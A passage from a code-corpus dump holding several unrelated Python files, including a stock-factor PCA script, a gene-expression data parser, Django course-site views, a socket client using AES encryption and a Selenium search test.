AlphaTools\n\n################################# Params ###################################\nruntime_tag = datetime.now().strftime('%Y%m%d_%H%M%S')\nDB_PATH = 'C:\\\\kwickram\\\\alpha\\\\Jumpman\\\\data\\\\jumpdb.db'\ntblname = 'Canada_Model_20160210'\nout_filename = '{}_{}_pca_mix.xlsx'.format(runtime_tag, tblname)\n\ngrouping_field = 'cluster'\nplotting = True\nw_r_ = np.array([0.2, 0.3, 0.3, 0.2]) # 1,3,6,12 month weights\npca_cutoff_ = 0.03 # cutoff for selecting significant pca components\npvalue_cutoff_ = 0.05 # cutoff for factor regresion weights\n# %matplotlib inline, %matplotlib qt\n\n#---------------------------------------------------------------------------\n# Gather data\n#---------------------------------------------------------------------------\nDB_CONN_STR = 'sqlite:///' + DB_PATH\ndbc = DatabaseConnection(DB_CONN_STR, echo=False) # create link to db\n\n# qry = 'SELECT * FROM ' + tblname\n# data = pd.read_sql_table(tblname, dbc.get_engine(), parse_dates = ['date'])\ndata = pd.read_sql_table(tblname, dbc.get_engine())\n# data.set_index(['date', 'symbol'], inplace=True, verify_integrity=True)\n\n#---------------------------------------------------------------------------\n# Run clustering (note on seperate dataset...)\n#---------------------------------------------------------------------------\n# Execute covariance clustering\nfrom f_covar_clustering import symbols_, classify_results, cluster_labels\n\nn_data_orig = len(data)\nqry_str = 'symbol == [\"{}\"]'.format('\", \"'.join(symbols_)) # analysis only on securities in symbols_\ndata = data.query(qry_str)\ndata = pd.merge(data, classify_results, left_on='symbol', right_index=True) # merge classification results\nprint('{} out of originally {} rows remaining'.format(len(data), n_data_orig))\n\n# removed: 'growth_alpha', 'mom_alpha', 'ffo_diff_alpha'\nfactors = ['sales_rev_alpha',\n 'eps_diff_alpha',\n '9_1_mom_alpha',\n 'ind_mom_alpha',\n 'relative_mom_alpha',\n 'fwde2p_alpha',\n 'cfo2p_alpha',\n 'fcf2p_alpha',\n 'b2p_alpha',\n 'sales2p_alpha',\n 'dps2p_alpha',\n 'pchgshrs_alpha',\n 'roe_alpha',\n 'roa_alpha',\n 'coni2a_alpha',\n 'capexr_alpha',\n 'chggm_alpha',\n 'chgom_alpha',\n 'chgsgam_alpha',\n 'chgar_alpha',\n 'chginv_alpha',\n 'chgnfa_alpha',\n 'chgwc_alpha',\n 'chgassets_alpha',\n 'currliabs_alpha',\n 'totalliabs_alpha',\n 'timesint_alpha',\n 'roic_alpha',\n 'fcfni_alpha',\n 'fcfvar_alpha',\n 'epsvar_alpha',\n 'gearing_alpha']\n\nreturn_lables = ['1mo_forward_returns', '3mo_forward_returns', '6mo_forward_returns', '12mo_forward_returns']\ndate_label = 'date'\nT = [1, 3, 6, 12]\n\n# Force convert factor and return fields to numeric\ndata[return_lables] = data[return_lables].applymap(lambda v : AlphaTools.to_number(v))\ndata[factors] = data[factors].applymap(lambda v : AlphaTools.to_number(v))\n\nfldvalues = data[grouping_field].unique().tolist()\nfldvalues.sort()\ntry:\n fldvalues.remove('@NA')\nexcept:\n pass\n\n# Results\nweights = {}\ndata_w_alpha = data.copy()\n\nfor fv in fldvalues:\n print('\\n WORK ON {}? (press key to continue...)'.format(fv))\n input()\n print('======================================================')\n query_str = AlphaTools.get_query_str([grouping_field], [fv])\n data_ = data.query(query_str)\n\n\n print('RESULTS for {}'.format(fv))\n print('======================================================')\n w, w_V, Vsig, train_stats, val_stats, cross_val = f_factor_analysis(data_, factors, return_lables, date_label, plotting, w_r_, pvalue_cutoff_, pca_cutoff_)\n data_w_alpha.loc[data_.index, 'SECTOR_MIXED_ALPHA'] = data_[factors].dot(w)\n data_w_alpha.loc[cross_val['train'], 'SECTOR_CROSS_VALIDATION'] = 'TRAIN'\n data_w_alpha.loc[cross_val['validate'], 'SECTOR_CROSS_VALIDATION'] = 'VALIDATE'\n data_w_alpha.loc[cross_val['test'], 'SECTOR_CROSS_VALIDATION'] = 'TEST'\n weights[fv] = w\n\n# Write results\n\nweights_tbl = pd.DataFrame.from_dict(weights, orient='columns')\nweights_tbl.index = factors\n\nprint('computing final factor..')\ncluster_probs = data[['p_' + c for c in cluster_labels]]\ndata_w_alpha['FINAL_ALPHA'] = np.diag(np.dot(data[factors].dot(weights_tbl), cluster_probs.T))\n\nprint('writing results..')\nwriter = WriteExcel(out_filename)\nwriter.write_df(weights_tbl, sheet_name='weights')\nwriter.write_df(data_w_alpha, sheet_name='pca_mix_results')\nwriter.save()\n\nprint('finito!')","sub_path":"research/factor analysis/s_run_pca_w_clustering.py","file_name":"s_run_pca_w_clustering.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"509729908","text":"import pandas as pd\nimport numpy as np\nte_d=r\"C:\\Users\\Dani\\Desktop\\Dream\\Mouse\"\ntr_d=r\"C:\\Users\\Dani\\Desktop\\Dream\\Mouse\"\n\nwith open (\"metadata_features.txt\") as f:\n metad=f.read().split()\n\n\nclass series_matrix:\n def __init__(self,fname):\n self.fname=fname\n\n def read_series_matrix(self):\n with open(self.fname) as f:\n content = f.read().split(\"!\")\n return content\n\n def print_row_with_word(self,word):\n return_list=[]\n txt=self.read_series_matrix()\n for t in txt:\n if word in t:\n return_list.append(t)\n return return_list\n\n def look_for_word(self,func,word,split=None):\n txt=func\n for w in txt:\n if word in w:\n if split==None:\n return (w.split())\n elif split!= None:\n return w.split(split)\n\nproject=\"GSE24026\"\n\n#p is class of series matrix of the project\np=series_matrix(tr_d+\"/\"+project+\"/\"+project+\"_series_matrix.txt\")\n\n#creating gene expression counts (normalized)\nsam=(p.look_for_word(p.print_row_with_word(\"Sample_title\"),\"Jurkat-PD1\"))\nsam=[x.strip('\"') for x in sam[1:]]\nsam=[x[11:] for x in sam]\n\npd1=['y' if 'PD1'in x else 'n' for x in sam]\ndata_list=[pd1]\ndic=dict(zip(metad,data_list))\ndf_metad=pd.DataFrame(dic,index=sam)\ndf_metad.to_csv(project+\"_metadata.csv\")\n\n\nd=pd.read_csv(project+\"_exp_data.txt\",delimiter=\"\\t\")\nd.set_index(\"ID_REF\",inplace=True)\nd.rename(columns=dict(zip(d.columns[:],sam)),inplace=True)\nd.to_csv(project+\"_gene_exp.csv\")\n\n","sub_path":"GSE24026/GSE24026.py","file_name":"GSE24026.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"29643591","text":"\"\"\"General utilities.\"\"\"\n\nimport collections\nimport tqdm\n\nfrom absl import flags\nimport numpy as np\n\nFLAGS = flags.FLAGS\n\nExample = collections.namedtuple(\n \"Example\",\n [\"qid\", \"labels\"])\n\nLabel = collections.namedtuple(\n \"Label\",\n [\"text\", \"metrics\"])\n\n\ndef stats(results):\n mean = np.mean(results)\n median = np.median(results)\n p_84 = np.percentile(results, 84)\n p_16 = np.percentile(results, 16)\n return (mean, median, p_84, p_16)\n\n\ndef convert_labels(all_examples, metrics, getter=None):\n \"\"\"Convert labels to Label tuples.\n\n Passing tuples around through multiprocessing is less overhead than\n passing around heavy dictionaries (takes time to serialize).\n\n Args:\n all_examples: \n Dictionary of qid to list of labels (each label is a dictionary).\n metrics: \n List of metric keys to use.\n getter: \n If provided, might do a transform on the metric. Should accept the label and the\n metric string, and return a float.\n\n Returns:\n converted_examples: \n Dict of qid to Label objects.\n \"\"\"\n converted_examples = {}\n for qid, labels in tqdm.tqdm(all_examples.items(), desc=\"converting labels\"):\n # Create Label objects.\n converted_examples[qid] = []\n for y in labels:\n getter = getter if getter is not None else lambda x, k: x[k]\n label = Label(\n text=y[\"text\"],\n metrics=tuple(getter(y, m) for m in metrics))\n converted_examples[qid].append(label)\n return converted_examples\n\n\ndef evaluate_thresholds(thresholds, threshold_matrix, scores_matrix, label_mask):\n \"\"\"Evaluate all given thresholds.\n\n Args:\n thresholds: [num_thresholds]\n Epsilon thresholds to evaluate.\n threshold_matrix: [num_examples, max_labels, num_metrics]\n Conservative p-values at each cascade level (until the final).\n They can also not be p-values (just thresholds); epsilon just won't be valid.\n scores_matrix: [num_examples, max_labels]\n Accuracy scores (0 = incorrect, 1 = correct) for all labels.\n label_mask: [num_examples, max_labels]\n Mask of labels vs. padding (1 = label, 0 = padding).\n\n Returns:\n all_thresholds: \n List of results (threshold, efficiency, accuracy, cost) points.\n \"\"\"\n num_examples = threshold_matrix.shape[0]\n num_metrics = threshold_matrix.shape[-1]\n\n all_thresholds = []\n for threshold in thresholds:\n include = threshold_matrix.min(axis=-1) > threshold\n corrects = ((include * scores_matrix).max(1) > 0).sum()\n accuracy = corrects / num_examples\n\n if FLAGS.absolute_efficiency:\n efficiency = (include.sum(axis=1)).sum() / num_examples\n else:\n efficiency = (include.sum(axis=1) / label_mask.sum(axis=1)).sum() / num_examples\n\n # We can prune if the conservative pvalue is already greater than threshold.\n # Anything that happens *after* this event wasn't evaluated.\n can_prune = threshold_matrix <= threshold\n did_evaluate = (np.cumsum(can_prune, axis=-1) <= 1) * np.expand_dims(label_mask, -1)\n num_evaluated = did_evaluate.sum()\n cost = num_evaluated / (label_mask.sum() * num_metrics)\n\n all_thresholds.append((threshold, efficiency, accuracy, cost))\n\n return all_thresholds\n","sub_path":"cpcascade/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"304436339","text":"#!/bin/env python\n\nimport os\nimport sys\nimport socket\nimport traceback\nimport archive\nimport aes_encrypt\n\nclass Client(object):\n def __init__(self, ip, port):\n self.ip_ = ip\n self.port_ = port\n self.sock_ = None\n self.connected_ = False\n\n def connect(self):\n if not self.connected_:\n self.sock_ = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock_.connect((self.ip_, self.port_))\n self.connected_ = True\n\n def close(self):\n if self.connected_:\n self.sock_.close()\n self.sock_ = None\n self.connected_ = False\n\n # @params \n # req: command.Request()\n # resp: command.Response()\n #\n # @return retcode, resp\n # retcode: 0 succ\n # !0 fail, error code\n # resp : not None succ\n # None fail\n def send_request(self, req, resp):\n try:\n oar = archive.OArchive()\n ret = req.encode(oar)\n if ret is False:\n return 101, None\n\n req_data = aes_encrypt.encrypt( oar.getdata() )\n \n self.connect()\n self.sock_.send( req_data )\n\n # recv header\n twelve_bytes_header = self.sock_.recv(12)\n twelve_bytes_iar = archive.IArchive( twelve_bytes_header )\n twelve_bytes_iar.readU32()\n twelve_bytes_iar.readU32()\n command_length = twelve_bytes_iar.readU32()\n resp_encrypt_body_buff = self.sock_.recv(command_length, socket.MSG_WAITALL)\n\n # close immediately\n self.close()\n\n resp_data = aes_encrypt.decrypt(twelve_bytes_header + resp_encrypt_body_buff)\n iar = archive.IArchive( resp_data )\n ret = resp.decode( iar )\n if ret is False:\n return 102, None\n \n return 0, resp\n\n except Exception as e:\n traceback.print_exc() \n return 201, None\n","sub_path":"auto_test/phub_auto/Library/tools/hubclient.py","file_name":"hubclient.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"189958949","text":"#AI-TECHGYM-2-7-A-4\r\n#特徴量エンジニアリング\r\n\r\n#インポート\r\nimport pandas as pd\r\nimport numpy as np\r\nimport requests,io\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\n\r\n#自動車価格データの取得\r\nurl = 'http://archive.ics.uci.edu/ml/machine-learning-databases/autos/imports-85.data'\r\nres = requests.get(url).content\r\nauto = pd.read_csv(io.StringIO(res.decode('utf-8')), header=None)\r\nauto.columns =['symboling','normalized-losses','make','fuel-type' ,'aspiration','num-of-doors',\r\n 'body-style','drive-wheels','engine-location','wheel-base','length','width','height',\r\n 'curb-weight','engine-type','num-of-cylinders','engine-size','fuel-system','bore',\r\n 'stroke','compression-ratio','horsepower','peak-rpm','city-mpg','highway-mpg','price']\r\n#データ表示\r\n#display(auto)\r\n\r\n# データの前処理\r\nauto = auto[['price','width','engine-size']]\r\nauto = auto.replace('?', np.nan).dropna()\r\n\r\n# 学習用/検証用にデータを分割\r\nX = auto.drop('price', axis=1)\r\ny = auto['price']\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5, random_state=10)\r\n\r\n# モデルの構築・評価\r\nmodel = LinearRegression()\r\nmodel.fit(X_train,y_train)\r\nprint('決定係数(train):{:.3f}'.format(model.score(X_train,y_train)))\r\nprint('決定係数(test):{:.3f}'.format(model.score(X_test,y_test)))\r\n\r\n","sub_path":"HrV2.py","file_name":"HrV2.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"436817316","text":"import time\nfrom functools import wraps\n\nfrom .exceptions import FailedTest\nfrom .models import TestResult\nfrom .utils.conversions import ns_to_ms\n\n\ndef test_wrapper(f):\n '''\n This wrapper is doint 3 things:\n - creates the TestResult if the FailedTest exception occurs while running test function\n - adds the test tile from the test function docstring\n - measure the test duration in milliseconds\n '''\n @wraps(f)\n def decorated_function(*args, **kwargs):\n start = time.time_ns()\n try:\n test_result = f(*args, **kwargs)\n except FailedTest as e:\n return TestResult(\n title=f.__doc__,\n status=2,\n message=e.message,\n duration=ns_to_ms(time.time_ns() - start),\n )\n test_result.title = f.__doc__\n test_result.duration = ns_to_ms(time.time_ns() - start)\n return test_result\n return decorated_function\n","sub_path":"supplier_api_tester/supplier_api_tester/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"412899903","text":"import fnmatch\nimport pandas as pd\nimport os\nimport numpy as np\nimport json\n\n\n\ndef ecoHS12_dic(concordance_file_path, PRO, save_dir=None, dict_name=None):\n \"\"\"Function maps ecoinvent processes to HS commodities based on cpc21-HS12\n concordance.\n Inputs\n concordance_file_path path to concordance 'file cpc21-hs2012.txt'\n which is the UN Stats concordance file. See\n https://unstats.un.org/unsd/classifications/econ\n \n PRO pandas dataframe with ecoinvent activity meta data\n\n save_dir dir to save the dictionary json file, if not given\n but dict_name is given, it will be saved in the\n working dir\n\n dict_name file name for the json file. If None, dict will\n not be saved.\n \"\"\"\n\n cpc21_hs12 = pd.read_csv(concordance_file_path, header=0, dtype='str')\n cpc21_hs12['HS12code'] = cpc21_hs12['HS12code'].str.replace('.','')\n\n cpc_codes = PRO['cpc'].str.split(':').str.get(0)\n \n eco_hs12_mapping_dic, _ = create_dict_ecoinvent_HS12(cpc21_hs12,\n PRO.index, cpc_codes)\n\n if dict_name==None:\n print('No Path and Filename provided. Not saving the dictionary.')\n return eco_hs12_mapping_dic\n else:\n if save_dir==None:\n print('No Path to save File specified, saving in current wd.')\n save_dir = os.getcwd()\n save_dir = os.path.realpath(save_dir)\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n filePath = os.path.join(save_dir,'ecoinvent35-HS12_mapping.json')\n print(\"Saving dictionary to: '{}'\".format(filePath))\n with open(filePath, 'w') as fh:\n json.dump(eco_hs12_mapping_dic, fh)\n return eco_hs12_mapping_dic\n\n\n\n\ndef create_dict_ecoinvent_HS12(cpc21_hs12, UUIDs, cpc_codes):\n \"\"\"\n Create a dictionanry between the ecoinvent process_referenceProduct UUID\n and the matching HS codes if existend.\n Input:\n cpc21_hs12 A dataframe of the concordance file cpc21-hs12\n PRO A dataframe with the ecoinvent process data as defined pylcaio\n \n Output A dictionary with the process UUID's as keys, and the matching\n HS codes as a list of string(s) as values.\n Depends on:\n \n - fnmatch\n \"\"\"\n len_codes = np.zeros(len(UUIDs))\n eco_hs12_mapping_dic = {}\n for i,(index, code) in enumerate(zip(UUIDs, cpc_codes)):\n # all numbers starting with >=5 are services and not present in HS\n if code != None and int(code[0]) <= 4:\n l = len(code)\n len_codes[i] = l\n if l == 5:\n try:\n eco_hs12_mapping_dic[index] = cpc21_hs12.set_index('CPC21code').loc[code, 'HS12code'].unique().tolist()\n except AttributeError: # only 1 match,\n eco_hs12_mapping_dic[index] = [cpc21_hs12.set_index('CPC21code').loc[code, 'HS12code']]\n except KeyError:\n print(l, index, code)\n else:\n # only section (1 digit) group (3 digits) or class (4digits) have been given.\n # Use wilde card to match. \n cpc_codes = fnmatch.filter(cpc21_hs12['CPC21code'].tolist(),code+'*')\n try:\n eco_hs12_mapping_dic[index] = cpc21_hs12.set_index('CPC21code').loc[cpc_codes, 'HS12code'].unique().tolist()\n except KeyError:\n print(l, index, code)\n else:\n eco_hs12_mapping_dic[index] = None\n return eco_hs12_mapping_dic, len_codes\n","sub_path":"build/lib/Price_Uncertainty_HLCA/ecoinvent_HS_commodity_mapping.py","file_name":"ecoinvent_HS_commodity_mapping.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"360402261","text":"# _*_ encoding:utf-8 _*_register.html\nfrom django.shortcuts import render\nfrom django.views.generic import View\nfrom django.http import HttpResponse\n\nfrom pure_pagination import Paginator, PageNotAnInteger\nfrom .models import CityDict, CourseOrg, Teacher\nfrom .forms import UserAskForm\nfrom operation.models import UserCollection\nfrom courses.models import Course\nfrom django.db.models import Q\n\n\n# Create your views here.\n\n\nclass OrgView(View):\n def get(self, request):\n all_cities = CityDict.objects.all()\n all_courseOrgs = CourseOrg.objects.all()\n # 课程机构搜索\n search_keyword = request.GET.get('keywords', '')\n if search_keyword:\n all_courseOrgs = all_courseOrgs.filter(\n Q(name__icontains=search_keyword) | Q(desc__icontains=search_keyword))\n\n # 热门机构\n hot_orgs = all_courseOrgs.order_by('-click_num')[:3]\n # 取出筛选城市\n city_id = request.GET.get('city', '')\n if city_id:\n all_courseOrgs = all_courseOrgs.filter(city_id=int(city_id))\n # 机构类别的筛选\n category = request.GET.get('ct', '')\n if category:\n all_courseOrgs = all_courseOrgs.filter(category=category)\n # 排序\n sort = request.GET.get('sort', '')\n if sort:\n if sort == 'students':\n all_courseOrgs = all_courseOrgs.order_by('-learn_num')\n if sort == 'courses':\n all_courseOrgs = all_courseOrgs.order_by('-course_num')\n # 分页\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n # 统计符合条件的机构个数\n org_num = all_courseOrgs.count()\n # 课程机构进行分页\n p = Paginator(all_courseOrgs, 5, request=request)\n orgs = p.page(page)\n return render(request, 'org-list.html', {\n 'all_cities': all_cities,\n 'all_courseOrgs': orgs,\n 'org_num': org_num,\n 'city_id': city_id,\n 'category': category,\n 'hot_orgs': hot_orgs,\n 'sort': sort,\n 'keywords': search_keyword\n })\n\n\nclass AddUserAskView(View):\n def post(self, request):\n userask_form = UserAskForm(request.POST)\n if userask_form.is_valid():\n userask_form.save(commit=True)\n return HttpResponse('{\"status\":\"success\"}', content_type='application/json')\n else:\n return HttpResponse('{\"status\":\"fail\",\"msg\":\"添加出错\"}', content_type='application/json')\n\n\nclass OrgHomeView(View):\n \"\"\"\n 机构首页\n \"\"\"\n\n def get(self, request, org_id):\n current_page = 'home'\n course_org = CourseOrg.objects.get(id=int(org_id))\n course_org.click_num += 1\n course_org.save()\n is_collection = False\n if request.user.is_authenticated():\n if UserCollection.objects.filter(user=request.user, collection_id=course_org.id, collection_type=2):\n is_collection = True\n all_course = course_org.course_set.all()[:3]\n all_teacher = course_org.teacher_set.all()[:1]\n return render(request, 'org-detail-homepage.html', {\n 'all_course': all_course,\n 'all_teacher': all_teacher,\n 'course_org': course_org,\n 'current_page': current_page,\n 'is_collection': is_collection,\n })\n\n\nclass OrgCourseView(View):\n \"\"\"\n 机构课程\n \"\"\"\n\n def get(self, request, org_id):\n current_page = 'course'\n course_org = CourseOrg.objects.get(id=int(org_id))\n all_course = course_org.course_set.all()\n is_collection = False\n if request.user.is_authenticated():\n if UserCollection.objects.filter(user=request.user, collection_id=course_org.id, collection_type=2):\n is_collection = True\n return render(request, 'org-detail-course.html', {\n 'all_course': all_course,\n 'course_org': course_org,\n 'current_page': current_page,\n 'is_collection': is_collection,\n })\n\n\nclass OrgDescView(View):\n \"\"\"\n 机构介绍\n \"\"\"\n\n def get(self, request, org_id):\n current_page = 'desc'\n course_org = CourseOrg.objects.get(id=int(org_id))\n is_collection = False\n if request.user.is_authenticated():\n if UserCollection.objects.filter(user=request.user, collection_id=course_org.id, collection_type=2):\n is_collection = True\n return render(request, 'org-detail-desc.html', {\n 'course_org': course_org,\n 'current_page': current_page,\n 'is_collection': is_collection,\n })\n\n\nclass OrgTeacherView(View):\n \"\"\"\n 机构讲师\n \"\"\"\n\n def get(self, request, org_id):\n current_page = 'teacher'\n course_org = CourseOrg.objects.get(id=int(org_id))\n all_teacher = course_org.teacher_set.all()\n is_collection = False\n if request.user.is_authenticated():\n if UserCollection.objects.filter(user=request.user, collection_id=course_org.id, collection_type=2):\n is_collection = True\n return render(request, 'org-detail-teachers.html', {\n 'course_org': course_org,\n 'current_page': current_page,\n 'all_teacher': all_teacher,\n 'is_collection': is_collection,\n })\n\n\nclass AddCollectionView(View):\n \"\"\"\n 用户收藏操作\n \"\"\"\n\n def post(self, request):\n collection_id = request.POST.get('col_id', 0)\n collection_type = request.POST.get('col_type', 0)\n if not request.user.is_authenticated():\n # 判断用户登录状态\n return HttpResponse('{\"status\":\"fail\",\"msg\":\"用户未登录\"}', content_type='application/json')\n exit_record = UserCollection.objects.filter(user=request.user, collection_id=int(collection_id),\n collection_type=int(collection_type))\n if exit_record:\n # 取消收藏\n exit_record.delete()\n if int(collection_type) == 1:\n course = Course.objects.get(id=int(collection_id))\n course.collection_num -= 1\n if course.collection_num < 0:\n course.collection_num = 0\n course.save()\n elif int(collection_type) == 2:\n course_org = CourseOrg.objects.get(id=int(collection_id))\n course_org.collection_num -= 1\n if course_org.collection_num < 0:\n course_org.collection_num = 0\n course_org.save()\n elif int(collection_type) == 3:\n teacher = Teacher.objects.get(id=int(collection_id))\n teacher.collection_num -= 1\n if teacher.collection_num < 0:\n teacher.collection_num = 0\n teacher.save()\n\n return HttpResponse('{\"status\":\"success\",\"msg\":\"收藏\"}', content_type='application/json')\n else:\n # 保存用户收藏\n user_collection = UserCollection()\n if int(collection_id) > 0 and int(collection_type) > 0:\n user_collection.user = request.user\n user_collection.collection_id = int(collection_id)\n user_collection.collection_type = int(collection_type)\n user_collection.save()\n if int(collection_type) == 1:\n course = Course.objects.get(id=int(collection_id))\n course.collection_num += 1\n course.save()\n elif int(collection_type) == 2:\n course_org = CourseOrg.objects.get(id=int(collection_id))\n course_org.collection_num += 1\n course_org.save()\n elif int(collection_type) == 3:\n teacher = Teacher.objects.get(id=int(collection_id))\n teacher.collection_num += 1\n teacher.save()\n return HttpResponse('{\"status\":\"success\",\"msg\":\"已收藏\"}', content_type='application/json')\n else:\n return HttpResponse('{\"status\":\"fail\",\"msg\":\"收藏失败\"}', content_type='application/json')\n\n\nclass TeacherListView(View):\n \"\"\"\n 教师列表页\n \"\"\"\n\n def get(self, request):\n all_teachers = Teacher.objects.all()\n # 教师搜索\n search_keyword = request.GET.get('keywords', '')\n if search_keyword:\n all_teachers = all_teachers.filter(\n Q(name__icontains=search_keyword) |\n Q(work_company__icontains=search_keyword) |\n Q(work_position__icontains=search_keyword))\n sort = request.GET.get('sort', '')\n if sort:\n if sort == 'hot':\n all_teachers = all_teachers.order_by('-click_num')\n\n # 统计教师数量\n teacher_num = all_teachers.count()\n # 分页\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n # 课程机构进行分页\n p = Paginator(all_teachers, 5, request=request)\n all_teachers = p.page(page)\n # 讲师排行榜,通过点击数量\n hot_teachers = Teacher.objects.order_by('-click_num')[:4]\n\n return render(request, 'teachers-list.html', {\n 'all_teachers': all_teachers,\n 'teacher_num': teacher_num,\n 'hot_teachers': hot_teachers,\n 'sort': sort,\n 'keywords': search_keyword,\n })\n\n\nclass TeacherDetailView(View):\n \"\"\"\n 讲师详情页\n \"\"\"\n\n def get(self, request, teacher_id):\n teacher = Teacher.objects.get(id=int(teacher_id))\n teacher.click_num += 1\n teacher.save()\n # 该讲师的全部课程分页显示\n all_courses = Course.objects.filter(teacher=teacher)\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n p = Paginator(all_courses, 4, request=request)\n all_courses = p.page(page)\n # 改讲师所属机构\n course_org = CourseOrg.objects.get(teacher=teacher)\n # 讲师排行榜,通过点击数量\n hot_teachers = Teacher.objects.order_by('-click_num')[:4]\n # 判断教师是否收藏\n is_teacher_collection = False\n collection_teacher = UserCollection.objects.filter(user=request.user, collection_type=3,\n collection_id=teacher.id)\n if collection_teacher:\n is_teacher_collection = True\n # 判断课程机构是否被收藏\n is_courseOrg_collection = False\n collection_courseOrg = UserCollection.objects.filter(user=request.user, collection_type=2,\n collection_id=course_org.id)\n if collection_courseOrg:\n is_courseOrg_collection = True\n\n return render(request, 'teacher-detail.html', {\n 'teacher': teacher,\n 'all_courses': all_courses,\n 'course_org': course_org,\n 'hot_teachers': hot_teachers,\n 'is_teacher_collection': is_teacher_collection,\n 'is_courseOrg_collection': is_courseOrg_collection,\n\n })\n","sub_path":"apps/organization/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"246874849","text":"import json\nimport time\nfrom django.http import JsonResponse\n\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render\n\n\n# Create your views here.\nfrom api.models import GameInfo, UserGuess, GameState, UserEx\n\n\n@csrf_exempt\ndef guess_view(request):\n input_data = json.loads(request.body.decode('utf-8'))\n address = input_data['address'].lower()\n guess_number = input_data['guess_number']\n\n game_list = GameInfo.objects.filter().order_by('-ctime')\n if not game_list:\n return JsonResponse({'err_code': -1, 'err_msg': \"当前没有竞猜\"})\n game = game_list[0]\n if game.state == GameState.start and time.time() < game.end_time.timestamp():\n # 表示可以抽奖\n if UserGuess.objects.filter(address=address, round=game.pk).exists():\n return JsonResponse({'err_code': -1, 'err_msg': '你已经竞猜过了'})\n else:\n if not UserEx.objects.filter(address=address).exists():\n user = UserEx(address=address, token_number=0, nickname='')\n user.save()\n user_guess = UserGuess(address=address, guess_number=guess_number, round=game.pk)\n user_guess.save()\n game.user_number += 1\n game.save()\n return JsonResponse({'err_code': 0})\n else:\n return JsonResponse({'err_code': -1, 'err_msg': \"当前并非抽奖阶段\"})\n\n\ndef get_current_game_info(request):\n address = request.GET.get('address', '')\n game_list = GameInfo.objects.filter().order_by('-ctime')\n if not game_list:\n return JsonResponse({})\n game_info = game_list[0].to_dict()\n guess_list = UserGuess.objects.filter(address=address).order_by('-ctime')\n if not guess_list:\n game_info['user_round'] = -1\n game_info['guess_number'] = -1\n else:\n game_info['user_round'] = guess_list[0].round\n game_info['guess_number'] = guess_list[0].guess_number\n return JsonResponse(game_info)\n\n\ndef get_user_last_guess(request):\n address = request.GET.get('address', '')\n address = address.lower()\n if not address:\n return JsonResponse({})\n guess_list = UserGuess.objects.filter(address=address).order_by('-ctime')\n if not guess_list:\n return JsonResponse({})\n return JsonResponse(guess_list[0].to_dict())\n\n\ndef game_list_view(request):\n game_list = GameInfo.objects.filter(state=GameState.show_result).order_by('ctime')\n game_list = [item.to_dict() for item in game_list]\n for index, item in enumerate(game_list):\n game_list[index]['real_round'] = index+1\n game_list = sorted(game_list, key=lambda x:x['real_round'], reverse=True)\n return JsonResponse({'game_list': game_list[:10]})\n","sub_path":"freedice_backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"403905775","text":"import logging\n\nfrom celery import shared_task\n\nfrom pontoon.base.models import Project\nfrom pontoon.sync.core import sync_project as perform_sync\n\n\nlog = logging.getLogger(__name__)\n\n\n@shared_task\ndef sync_project(project_pk, no_pull=False, no_commit=False):\n \"\"\"Fetch the project with the given PK and perform sync on it.\"\"\"\n try:\n project = Project.objects.get(pk=project_pk)\n except Project.DoesNotExist:\n log.error('Could not sync project with pk={0}, not found.'.format(project_pk))\n return\n\n log.info('Syncing project {0}.'.format(project.slug))\n perform_sync(project, no_pull=no_pull, no_commit=no_commit)\n","sub_path":"pontoon/sync/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"210495234","text":"from selenium import selenium\nimport vars\nimport unittest\nimport time\nimport sumo_functions\nimport sumo_test_data\n\n\nclass loggedin_search_on_homepage(unittest.TestCase):\n\n def setUp(self):\n self.selenium = selenium(\n vars.ConnectionParameters.server,\n vars.ConnectionParameters.port,\n vars.ConnectionParameters.browser,\n vars.ConnectionParameters.baseurl)\n self.selenium.start()\n self.selenium.set_timeout(vars.ConnectionParameters.page_load_timeout)\n self.accounts = sumo_test_data.SUMOtestData()\n self.functions = sumo_functions.SUMOfunctions()\n\n def test_loggedin_search_on_homepage(self):\n sel = self.selenium\n sumo_func = sumo_functions.SUMOfunctions()\n\n self.functions.login(1, sel)\n search_word = \"support\"\n sumo_func.open(sel, \"/en-US/kb/\")\n sel.type(\"q\", search_word)\n sel.click(\"css=input.submit\")\n sel.wait_for_page_to_load(vars.ConnectionParameters.page_load_timeout)\n not_found = True\n counter = 1\n while(not_found and counter < 5):\n if(not(sel.is_text_present(search_word))):\n sel.refresh()\n sel.wait_for_page_to_load(vars.ConnectionParameters.page_load_timeout)\n time.sleep(4)\n counter = counter+1\n else:\n not_found = False\n self.failUnless(sel.is_text_present(search_word),\n \"search query not present\")\n\n def tearDown(self):\n self.selenium.stop()\n\nif __name__ == 